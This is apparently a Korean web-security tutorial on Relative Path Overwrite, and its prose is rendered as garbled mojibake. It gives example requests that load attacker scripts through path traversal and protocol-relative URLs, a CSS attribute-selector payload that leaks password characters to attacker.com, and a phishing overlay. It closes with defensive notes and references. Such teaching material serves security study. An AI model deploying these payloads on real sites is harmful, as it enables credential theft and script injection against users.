Relative Path Overwrite (RPO)

Relative Path Overwrite (RPO)

in

๐Ÿ” Introduction

RPO(Relative Path Overwrite)๋Š” relative URL, ์ฆ‰ ์ƒ๋Œ€ ๊ฒฝ๋กœ ๊ธฐ๋ฐ˜์˜ URL์„ ๋ฎ์–ด์จ์„œ ์˜๋„ํ•˜์ง€ ์•Š์€ ๋™์ž‘์„ ์ˆ˜ํ–‰ํ•˜๋Š” ๊ณต๊ฒฉ ๋ฐฉ๋ฒ•์ž…๋‹ˆ๋‹ค. Relative Path Confusion์ด๋ผ๊ณ ๋„ ๋ถˆ๋ฆฌ๋ฉฐ ๋ณธ ๋ฌธ์„œ์—์„œ๋Š” RPO๋กœ ํ†ต์ผํ•˜์—ฌ ์ž‘์„ฑํ•˜๊ณ˜์Šต๋‹ˆ๋‹ค.

RPO๋ฅผ ์›น์—์„œ ์ด์•ผ๊ธฐํ•  ๋• ๋ณดํ†ต ์‹œ์Šคํ…œ์—์„œ ์‚ฌ์šฉํ•˜๋Š” Relative Path(e.g ../../app)์™€ Absolute Path(e.g /app) ๊ณผ ์•ฝ๊ฐ„ ๋‹ค๋ฅธ์ ์ด ์žˆ์œผ๋‹ˆ ์ฐธ๊ณ ํ•˜์‹œ๊ธธ ๋ฐ”๋ž˜์š”.

Path Description Example
Absolute URL Host๊ฐ€ ํฌํ•จ๋œ URL <script src=โ€https://www.hahwul.com/file.jsโ€>
Relative URL Host๊ฐ€ ํฌํ•จ๋˜์ง€ ์•Š์€ URL <src=โ€/file.jsโ€>

link, script ๋“ฑ resource๋ฅผ ์ฝ์–ด์˜ค๋Š” ๊ณผ์ •์—์„œ Host๊ฐ€ ํฌํ•จ๋˜์ง€ ์•Š์€ URL์„ Relative URL์ด๋ผ๊ณ  ํ•˜๊ณ , ์ด๋ฅผ Overwriteํ•  ์ˆ˜ ์žˆ๋Š” ๊ฒฝ์šฐ์— resource์˜ ์ฃผ์†Œ ๋“ฑ์„ ์กฐ์ž‘ํ•˜์—ฌ ๊ณต๊ฒฉ์ž๊ฐ€ ์›ํ•˜๋Š” ์•ก์…˜์œผ๋กœ ์œ ๋„ํ•  ์ˆ˜ ์žˆ๊ฒŒ ๋ฉ๋‹ˆ๋‹ค. (๋Œ€ํ‘œ์ ์œผ๋กœ XSS)

๋Œ€ํ‘œ์ ์ธ ๋ฐฉ๋ฒ•์œผ๋กœ๋Š” Path traversal๊ณผ ๋™์ผํ•˜๊ฒŒ ../ ๋ฅผ ์ด์šฉํ•ด ์ƒ์œ„ ๊ฒฝ๋กœ์˜ ๋‹ค๋ฅธ ํŒŒ์ผ์„ ๋กœ๋“œํ•˜๊ฑฐ๋‚˜, Protocol-relative URL ์„ ์ด์šฉํ•˜์—ฌ Host๋ฅผ ๊ณต๊ฒฉ์ž๊ฐ€ ์›ํ•˜๋Š” ๋„๋ฉ”์ธ์œผ๋กœ ๋ณ€๊ฒฝํ•˜์—ฌ ๊ณต๊ฒฉ์„ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Path traversal

[ Req ]
GET /page?sink=../../../upload/my_script.js

[ Res ]
...
<script src="asset/js/vendor/../../../upload/my_script.js"></script>
...

Ptorocol-relative URL

[ Req ]
GET /page?test=//www.hahwul.com/xss.js

[ Res ]
...
<script src="//www.hahwul.com/xss.js"></script>
...

๐Ÿ—ก Offensive techniques

Detect

link, script ๋“ฑ resource๋ฅผ ๋กœ๋“œํ•˜๋Š” ๋ถ€๋ถ„ ๋“ฑ์„ ์šฐ๋ฆฌ๊ฐ€ ์ปจํŠธ๋กคํ•  ์ˆ˜ ์žˆ๋Š” ์ˆ˜๋‹จ์ด ์žˆ๋Š”์ง€ ์ฒดํฌํ•ด์•ผํ•ฉ๋‹ˆ๋‹ค. ๋ฐฉ๋ฒ•์ ์ธ๊ฑด ๋„ˆ๋ฌด๋‚˜๋„ ๋งŽ๊ฒ ์ง€๋งŒ, ๋Œ€ํ‘œ์ ์œผ๋กœ๋Š” ver, version ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ํ†ตํ•ด resource๋ฅผ ๋™์ ์œผ๋กœ ๋กœ๋“œํ•˜๋Š” ๊ฒฝ์šฐ์ž…๋‹ˆ๋‹ค.

Origin

GET /page?ver=v1.0.0

Attack

GET /page?ver=../../../../blahblah

๋˜ํ•œ WAS์˜ ์„ค์ •๊ณผ ์ •์ฑ…์— ๋”ฐ๋ผ์„œ URL ์ž์ฒด์— URL ์ธ์ฝ”๋”ฉ๋œ ../(%2F)๋ฅผ ์‚ฝ์ž…ํ•˜์—ฌ Resource ์ปจํŠธ๋กค์„ ์œ ๋„ํ•ด์•ผํ•ฉ๋‹ˆ๋‹ค. ํ…Œ์ŠคํŠธ ์ค‘ resource๋ฅผ ์ปจํŠธ๋กคํ•  ์ˆ˜ ์žˆ๋Š” ๋ถ€๋ถ„์„ ํ™•์ธํ–ˆ๋‹ค๋ฉด ์ด ๋ถ€๋ถ„์„ ์ด์šฉํ•˜์—ฌ ๋‹ค๋ฅธ ์ทจ์•ฝ์ ๊ณผ ์—ฐ๊ณ„๋˜๋Š” ์•…์šฉ ์‹œ๋‚˜๋ฆฌ์˜ค๋ฅผ ๊ตฌ์ƒํ•ด์•ผํ•ฉ๋‹ˆ๋‹ค.

Exploitation

XSS

๋Œ€ํ‘œ์ ์ธ ๊ณต๊ฒฉ๋ฐฉ๋ฒ•์œผ๋ก  XSS์™€์˜ ์—ฐ๊ณ„๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ณต๊ฒฉ์ž์˜ remote ์„œ๋ฒ„, ๋˜๋Š” ํ•ด๋‹น ๋„๋ฉ”์ธ์— ์—…๋กœ๋“œ๊ฐ€ ๊ฐ€๋Šฅํ•œ ๊ฒฝ๋กœ๋ฅผ ์ฐพ์•„ xss ์ฝ”๋“œ๊ฐ€ ํฌํ•จ๋œ js ํŒŒ์ผ์„ ์—…๋กœ๋“œํ•˜๊ณ , Relative Path Overwrite๋ฅผ ํ†ตํ•ด ์ด๋ฅผ ํŠธ๋ฆฌ๊ฑฐํ•˜๋Š” ํ˜•ํƒœ๋กœ ๋™์ž‘ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

[ Req ]
GET /page?sink=../../../upload/my_script.js

[ Res ]
...
<script src="asset/js/vendor/../../../upload/my_script.js"></script>
...

Sequential Import Chaining

d0nutptr์ด ์†Œ๊ฐœํ•œ ๋ฐฉ๋ฒ•์œผ๋กœ CSS๋ฅผ ์ปจํŠธ๋กคํ•  ์ˆ˜ ์žˆ๋Š” ๊ฒฝ์šฐ ์ด๋ฅผ ์ด์šฉํ•˜์—ฌ Keylogger์™€ ๊ฐ™์€ ํŽ˜์ด๋กœ๋“œ๋ฅผ ๊ตฌ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๋จผ์ € remote ์„œ๋ฒ„์— ์•„๋ž˜์™€ ๊ฐ™์€ ํ˜•ํƒœ์˜ CSS ์ฝ”๋“œ๋ฅผ ์ค€๋น„ํ•ฉ๋‹ˆ๋‹ค. ํ•ด๋‹น ์ฝ”๋“œ๋Š” name์ด csrf์ธ input ํƒœ๊ทธ์— ์ ์šฉ๋˜๋Š” ์Šคํƒ€์ผ ์‹œํŠธ๋กœ value์˜ ์—ฌ๋ถ€์— ๋งž๊ฒŒ background-image๋ฅผ ๊ต์ฒดํ•ฉ๋‹ˆ๋‹ค.

input[name=password][value^=a]{
    background: url('https://attacker.com/a');
}
input[name=password][value^=b]{
    background: url('https://attacker.com/b');
}
/* ... */
input[name=password][value^=9]{
    background: url('https://attacker.com/9');   
}

๊ฒฐ๊ตญ ์ด css๊ฐ€ ๋กœ๋“œ๋œ ์ƒํƒœ์—์„œ ์‚ฌ์šฉ์ž๊ฐ€ ํ•ด๋‹น input box์— a๋ฅผ ๋ˆŒ๋ €๋‹ค๋ฉด, background๊ฐ€ https://attacker.com/a๋กœ ๋ฐ”๋€Œ๊ฒŒ ๋˜๋ฉฐ ๋ธŒ๋ผ์šฐ์ €์—์„œ ์ด๋ฏธ์ง€๋ฅผ ๋กœ๋“œํ•˜๊ธฐ ์œ„ํ•ด ์›น ์š”์ฒญ์„ ๋ฐœ์ƒ์‹œํ‚ค๊ณ , ๊ฒฐ๊ตญ ๊ณต๊ฒฉ์ž๋Š” ์‚ฌ์šฉ์ž๊ฐ€ a๋ฅผ ๋ˆŒ๋ €๋‹ค๋Š” ๊ฒƒ์„ ์•Œ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋ฅผ ํ†ตํ•ด์„œ Keylogger์™€ ๋น„์Šทํ•œ ํŽ˜์ด๋กœ๋“œ๋ฅผ ๋งŒ๋“ค ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ด๋Ÿฌํ•œ ๋ฐฉ๋ฒ•์€ CSS์˜ Attribute Selectors์˜ ํŠน์ง•์„ ์ด์šฉํ•œ ๊ธฐ์ˆ ์ด๋ฉฐ, ์ž์„ธํ•œ ๋‚ด์šฉ์€ โ€œSequential Import Chaining์„ ์ด์šฉํ•œ CSS ๊ธฐ๋ฐ˜ ๋ฐ์ดํ„ฐ ํƒˆ์ทจโ€ ๊ธ€์„ ์ฐธ๊ณ ํ•ด์ฃผ์„ธ์š”.

Phishing

JS๋‚˜ CSS๋ฅผ ์ปจํŠธ๋กคํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด ํŽ˜์ด์ง€์˜ ๋””์ž์ธ์ด๋‚˜ ๊ตฌ์กฐ๋ฅผ ๋ฐ”๊พธ๋Š”๊ฑด ์•„์ฃผ ์‰ฝ๋‹ˆ๋‹ค. CSS Injection๊ณผ ๋™์ผํ•˜๊ฒŒ position:fix ๋“ฑ์œผ๋กœ ๋ ˆ์ด์–ด๋ฅผ ๋ถ„๋ฆฌํ•˜๊ณ , ์•…์˜์ ์ธ ์ปจํ…์ธ ๋ฅผ ๋‹ด์•„ ํ”ผ์‹ฑ๋“ฑ์„ ์œ ๋„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

.attack {
	position: fixed;
	top: 0;
	left: 0;
    width: 100%;
    height: 100%;
    z-index: 999999;
}

https://www.hahwul.com/2021/06/16/css-injection-bypassing-trick/

๐Ÿ›ก Defensive techniques

๋Œ€์‘๋ฐฉ์•ˆ์€ ๊ฐ„๋‹จํ•ฉ๋‹ˆ๋‹ค. resource๋Š” ํŽ˜์ด์ง€์˜ ๋™์ž‘๊ณผ ๋””์ž์ธ์„ ์ •์˜ํ•  ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์— ๊ฐ€๊ธ‰์ ์ด๋ฉด ์‚ฌ์šฉ์ž์—๊ฒŒ ํ†ต์ œ๊ถŒ์„ ์ฃผ์ง€ ์•Š๋Š” ๊ฒƒ์ด ๊ฐ€์žฅ ์ข‹์Šต๋‹ˆ๋‹ค. ๋งŒ์•ฝ ์ฃผ์–ด์•ผํ•œ๋‹ค๋ฉด path์— ๋Œ€ํ•œ ํ†ต์ œ์™€ ์‚ฌ์šฉ์ž ์ž…๋ ฅ์— ๋Œ€ํ•œ ๊ฒ€์ฆ ๊ณผ์ •์ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค.

๐Ÿ•น Tools

  • https://github.com/d0nutptr/sic
  • https://www.zaproxy.org/docs/alerts/10051/

๐Ÿ“š Articles

  • https://www.hahwul.com/2021/06/16/css-injection-bypassing-trick/
  • https://www.hahwul.com/2022/02/28/sequential-import-chaining/

๐Ÿ“Œ References

  • http://www.thespanner.co.uk/2014/03/21/rpo/